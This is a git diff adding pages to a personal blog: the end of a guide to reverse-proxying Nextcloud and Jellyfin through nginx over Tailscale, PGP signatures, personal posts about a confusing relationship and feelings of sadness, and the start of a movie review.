    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    Create:

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    Example:

    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    4) Creating the Basic Auth password file

    Install tools (Debian/Ubuntu):

    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    Lock it down:

    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • Some TV apps can be quirky. If a client can’t handle it, you can:
      • remove Basic Auth, or
      • keep it only on selected paths, or
      • use Cloudflare Access in front of Jellyfin instead (more work).

    5) Nextcloud: configure it to behave behind the reverse proxy

    Nextcloud needs to know:

    • what hostnames are valid,
    • which proxy is trusted,
    • and what the “outside” URL scheme is.

    You can do it via occ inside the container (Apache image uses www-data).

    5.1 trusted_domains

    Check current values:

    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    5.2 trusted_proxies

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    Example:

    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    docker restart nextcloud
    +

    6) Sanity checks (curl is your friend)

    From anywhere public:

    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    • HTTP returns 301 to HTTPS
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • /.well-known/caldav returns 301 to /remote.php/dav/

    If you see redirect loops or wrong hostnames:

    • revisit overwritehost, overwriteprotocol, trusted_proxies.

    7) “Do I really need Cloudflare Access / WARP?”

    The honest answer

    If your setup is:

    • HTTPS only
    • strong passwords + MFA in Nextcloud/Jellyfin
    • your origin isn’t directly exposed (only the VPS is public)
    • you keep things patched

    …then you’re already in a reasonable place.

    “Can I skip Cloudflare Access?”

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    • Public: VPS + Nginx
    • Private: Pi over Tailscale

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.


    8) Cloudflare Access: One-time PIN not arriving + passkeys

    Two common gotchas:

    8.1 One-time PIN email didn’t arrive

    That flow relies on email delivery. Check:

    • spam/junk folder
    • if your provider blocked it
    • the exact email allowlist in your policy

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    8.2 Can I use passkeys / Apple / Google?

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    • pick what your family already uses (Google or Apple),
    • configure that as the login method,
    • avoid WARP enrollment unless you specifically want device-based access.

    9) Hardening checklist (tiny but effective)

    On the VPS:

    • Keep Ubuntu security updates on
    • firewall: allow only what you need (22/80/443)
    • optional: fail2ban for SSH

    On the Pi:

    • keep Docker images updated
    • Postgres/Redis not exposed publicly (Docker internal network)
    • backups: Nextcloud data + DB

    10) TL;DR

    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • Nextcloud must be told about:
      • trusted_domains
      • trusted_proxies
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
    • curl -I should show sane redirects + /remote.php/dav/
    • Jellyfin gets an extra gate with Nginx Basic Auth

    Boring is good. Boring runs for months.



    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/relationships.asc b/public-clearnet/posts/relationships.asc new file mode 100644 index 0000000..7be341a --- /dev/null +++ b/public-clearnet/posts/relationships.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qBzcP/Ax3OsZE4mpGHNgry66tHo24 +HRt1r0Ye6CWZ1O+/4s0n74+C3hf5z58jF/rVVljFsMs2fJDKbbt/wuAuH8QycZMc +LBQovv9UO2rrxO5T+FkPQAN5wwXO5NiKHKuamf8vswM927m1ogzhGxIIGTgqFvWt +zsFOtAKjt2eLrX0iH5HjHhAbfA8NLwL0IOuo8Uou3goGNLWmYg+YoLJUtCcjLzSv +/NrCeSSUcILL/VYroR+2PJk2O4e4temEtJ68aBAUPLLY43u8fiMcY5C7jpzTA2yU +9nxaDSWgMkTfH5zxPC3s4Wm/OvWLJz+HF+dWGtg5EeAbO3FjrJGDkx89jRjKJvE5 +JDppSbaA4Au1+jWhycXRP0IRJF6LNPM0Rgy58iewg8SNbtwKNrfPO5BjNFkNOJk+ +Uo73DL8CKbb7zryFrE0U/8MbAeil8EcwlGfAYf/Qi1pimrUfE6HAPDd4Rfp8NtrH +n4wWtbnkxRra++wLrhqsUtqbf3Y0R7MovPV3Z/lsumbhLl9OdAkjtQ5XRrCww8yf +UN1oYkbtmuVto/wHJjmWujFphFW5vWdjN/H3qX2qwPgp3zNACvjOl6TmX5QMvVEL +gDiRVyC6joFMZkZTqs+xPhf39Tp/AN1wxRxPPYP0fLs+csJdJS1iVRrCYZWgoYv2 +pbOQX7L+nm92NpyDnYG5 +=k5sD +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/relationships/index.html b/public-clearnet/posts/relationships/index.html new file mode 100644 index 0000000..849277e --- /dev/null +++ b/public-clearnet/posts/relationships/index.html @@ -0,0 +1,154 @@ +Relationships | AlipourIm journeys +

    Relationships

    My experience so far with relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
    ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
    +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
    +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
    +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
    +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
    +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
    +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
    +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
    +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
    +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
    +=lM4c
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md.asc
    +gpg --verify relationships.md.asc relationships.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/sadness.asc b/public-clearnet/posts/sadness.asc new file mode 100644 index 0000000..7f83e73 --- /dev/null +++ b/public-clearnet/posts/sadness.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qTFQQAKC5Fhs5OqY4yToIiqesfR3e +3PXeequqBthz32/2qbwmAQJ1gX27lZ49eBdj1jLA4IAF3v+5oODIN5hgr5FKRVxH +s3MMCJ6a1dQhUSC+CIvOobWt3iACYo80b2RRq9xmzTKrStIfOEHq9KnY6lyneHmG +7eaG16Np9y/h61Hlc8ljjzOzPvoDeeZF+RLMlgZw5LE/xTvG2dokvIazsrCTV/+O +gBZei+1HTBjtLxbTibO5+IsbjNYBHhn/T343+gzGn7NISNSnYbgGoZHLEqVO6bBH +YwHETdabjtx9FoRhn3Mz3GZ1IeE8Q+0kwGvUFxL1onrz+/153yMk5BRCvQQELTZ7 +pa9cJMarVtA2MllHZ+hz4yIlWRlLEVD+WtkjGjgms8BcWI7Kn/kl17hYjuU/IZ1k +hTNB4JlVZeBXj9TxFbIPJ1ouMXWWsaiHBmIeqL3jxscI75rNkn6ey5Gf+lk2FZ73 +4QeJau64U0ccOJwalL3PjE9ZXkl40SuKC5xMquftb1QdVId7awMOVaoxGG2fdrZt +cRcnYl8JyPuQ7MO4BrLtYlhn1KEh7sl1IFYXI3DIdMlYNpPjaVUIwd2Q12AtQc3Q +BYLk0RtCeYUXEMdo9if//Y1oaayxJdbkTDSlxvynnCvYbkWxrMs9VmugHBDMiqub +UCxPCH0B2tgko6k/fFme +=E8zz +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/sadness/index.html b/public-clearnet/posts/sadness/index.html new file mode 100644 index 0000000..a59b24f --- /dev/null +++ b/public-clearnet/posts/sadness/index.html @@ -0,0 +1,104 @@ +Sadness | AlipourIm journeys +

    Sadness

    Honestly, I don’t know why I’m doing any of this. I really don’t. +I think for me this is a scape from reality. +A scape from the sad thing that happened earlier this month. +A scape from feeling used, or let’s say abused if you will, and then thrown away. +Just like a piece of trash. +It’s been hurting more and more. +I’ve been lying to myself that I don’t care. +That I’ve moved on.

    I’ve been seeking validation ever since. +The validation that was lacking during that encounter. +The feeling of not being good enough.

    It’s enough grieving though. +But is it? +I tell myself I have moved on. +I’m not chasing. +I’m really not.

    I do know that this was indeed the best that could’ve happened for me. +I just dodged a bullet. +But still, there is a part of me that hurts, that grieves. +A part that doesn’t want to move on. +I told myself that I will meet new people, and forget. +But then aren’t I changing the problem?

    The problem isn’t what is on the surface. +It’s something deeper. +The fact that I feel lonely, scared, anxious. +My anxious attachment, combined with overthinking, hurts me. +I have to analyse and see the worse in every encounter.

    Like if I tell a group of friends that I won’t go with them a few times, I will be removed from the group. +That if everyone is busy, they have planned something together and I’m not invited. +That if someone doesn’t reply to me, they hate me. +Or that if someone passes me and doesn’t look at me or say a word, they don’t want to see me, or don’t want me around them.

    I don’t know how to stop these. +I started to do more home office for this very reason, but I wasn’t that productive. +I think my time, and life, is going to waste, and I don’t know how to stop it. +It’s getting annoying.

    Taking SSRIs was supposed to help, but I guess it just made me not care during the process, and now that I’m far along I feel the extra stress I was neglecting. +Things just don’t feel right. +I think I’m becoming depressed again.

    Those message passings, though they meant nothing, were extremely helpful for me not to feel lonely. +I know if I initiate, I get responses back. +Well, maybe not. +Maybe my expiration date has passed. +But then I would be chasing bread crumbs again. +Those crumbs won’t let me find a true good quality loaf of bread! +They keep me distracted, and make me exhausted. +But they also mentally help me.

    Maybe I should go for coffee at different times just not to meet this person. +I don’t know. +I just know I’m hurting from within, and it’s not nice. +It’s like internal bleeding. +It’s as painful as it gets. +It’s as hurtful as it gets.

    I know getting a pet could help me a lot at this point. +All of the things I want I can get from a pet. +Petting the pet, and caring for it are exactly what makes me feel good. +But then I don’t want the responsibility.

    Like with a human things feel less stressful, but with a pet it’s scary. +I’m more of a father to the pet. +Uh… +I can’t even have a pet because of my house rules.

    I don’t know what to do. +What I know is that I’m mentally hurting, and I don’t know what to do. +I really don’t. +I need help. +A lot of help. +A lot lot of help. +But I can’t ask my friends. +I just can’t. +They have their own problems. +They think I’m weak. +They will tell me to man up. +Or they just show empathy. +But I don’t need empathy. +I need a solution. +I need to be told what to do. +I need help. +Help.

    … — …

    … — … … — … … — …

    … — …


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM
    +jSp4tQ/9EBdBCfxCs81mRY78MNMo2detZkVaIesg8pIgjKxT3Guj/lqcNUBN+0a9
    +XkVgKH2Ax8n7h+uRwhN27yWBjqCHF/gHKYoMYjXKg8tlPyQQEzQsCt/vsNHK9Xfx
    +rzCZx4ZIBpNfslXkpwJqwbvY0VuxvPQY51oMCzgaycMrp07e2daRG0WNGrDq156y
    +4ahrfMhObGCJNQD3OS4GqjaE4PzrkKubCy784Q2Ro/fAY6I6ag2p9K/damrvSk4y
    +spcAHdFtKoawLPXXYW0SAPxg3Nk1f04Lq1JmBf528U+VbIflsJG2id+g1W3Z7ch6
    +sg5vnKJj7d7AM/0XeHZzNIzfCVz4M9hSnXx3eLb260SAHQTQqBsKFaXYl7y43ND5
    +9IOisO3ah6/HTBsJQ2tf7QA5y4HPgY+b+rJVDQ4u0UiGfXLLFA2jtUwMnQmx49Ch
    +SD4vGu8SaxWVhWPprrBX6OsC+qEzPiksqu2CZCiEM1Lqma194USyjxqctACNDigO
    +K5qILAk8qvmEdDLIFxfYrpOA9qj+aNDG7gJkBOXCqc6hQ3O3Tv5FnVRokzjDk4Qe
    +N9F1UAZO0F2u7dvAUH4GFN90ysyWKJzsQYzIC1aABZxws16mvbgSwNf6+okpky12
    +VEkutpuGSpUw7Lslhb0Tz2ZEwnjRL/A4p1L3nF8rdlzqLe1ERvk=
    +=VEwz
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/sadness.md.asc
    +gpg --verify sadness.md.asc sadness.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/scent_of_a_woman.asc b/public-clearnet/posts/scent_of_a_woman.asc new file mode 100644 index 0000000..0b11e53 --- /dev/null +++ b/public-clearnet/posts/scent_of_a_woman.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q1qsQALb6NsD1LOVKfLIDhB4enmc6 +dUQAbtqV5FDRq9Kp20vNxbgbChyoluCNHSESsNUOsk9Un9+v3LJHfyaRxvg4pai7 +DE7n99DgF4SQ1uS6ZaXxLvpOydQqwgDFR5/m/wAjo6NENW9OmzKWVS7+0h8puiXk +XX84bLwEqyxUePDBGrDyYWIZYMMDihquPDc5LVpotvhwLU3NA+RL+0ngH1rPTUYb +QgQ6tsB8/6XTyKcmK+ZrvHHIy8aai3W/q1iU2zOz0ueQdRxF/cnQN0/twajFxeyF +ba2I725WV87GjXtbInC6rVIhQEKdd1em6kUtnh5N7gFEID0uXuZgRCe72gZYU72O +VRI8wqmHjL+KqStkds0PAduejCg1KtNDcVz7JPewrTsDrmvvLzO5RPSajEuke/Pb +C7BYRH73X8P7M4FOVRXuig9Os6mrcPBqA3rI/H9bNnWjf2WdWEFOi13JiqTvjgj2 +x9Ei87/Y8pfrdgC/4MmJ36lBpgEohwKvxii0s0PlBIWa4u/2KYAgS0Q+ngwkJ+H6 +Nw2W/4soGkgOD9b/AkJaUGqN37QiDuvET1H1tb8o9EsmBvGge1RpEW0Ld4GNYf6w +Q2huQHJIZHxqsMmoQEh3y7xsHnJIfM2V3JBFk9YlFPKKEhiXCrjMvhV45Thx6MiX +uqPwlhZbctvKaWBzN4Y6 +=WBNK +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/scent_of_a_woman/index.html b/public-clearnet/posts/scent_of_a_woman/index.html new file mode 100644 index 0000000..767ce97 --- /dev/null +++ b/public-clearnet/posts/scent_of_a_woman/index.html @@ -0,0 +1,68 @@ +Movie review: Scent of a Woman | AlipourIm journeys +

    Movie review: Scent of a Woman

    My reaction to the movie as a not so pro movie watcher

    I’m not a big movie watcher. +In fact, I don’t remember the last time I watched a whole movie in a single day. +It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. +It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.

    Few points before I begin.

    • This was aside from the therapy session.
    • My therapist does not tell me what to do, or if I’m wrong or right or anything like that.
    • I watched this movie in about two parts in a single day!
    • I knew Al Pacino’s face from Godfather series, but didn’t know his name.
    • I’m not a big movie person, so whatever I say should be taken with a grain of salt. Just don’t be offended, take it face up and as is.

    The movie is about a good young student named Chris O’Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.

    The second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.

    Chris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. +He lives with his mother, and a not so nice step-father who isn’t really there for him.

    When taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. +At last Chris agrees.

    Upon Karen’s leaving, Frank gets ready for a trip to New York. +To do his last vows before taking his own life without Chris knowing this.

    He plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.

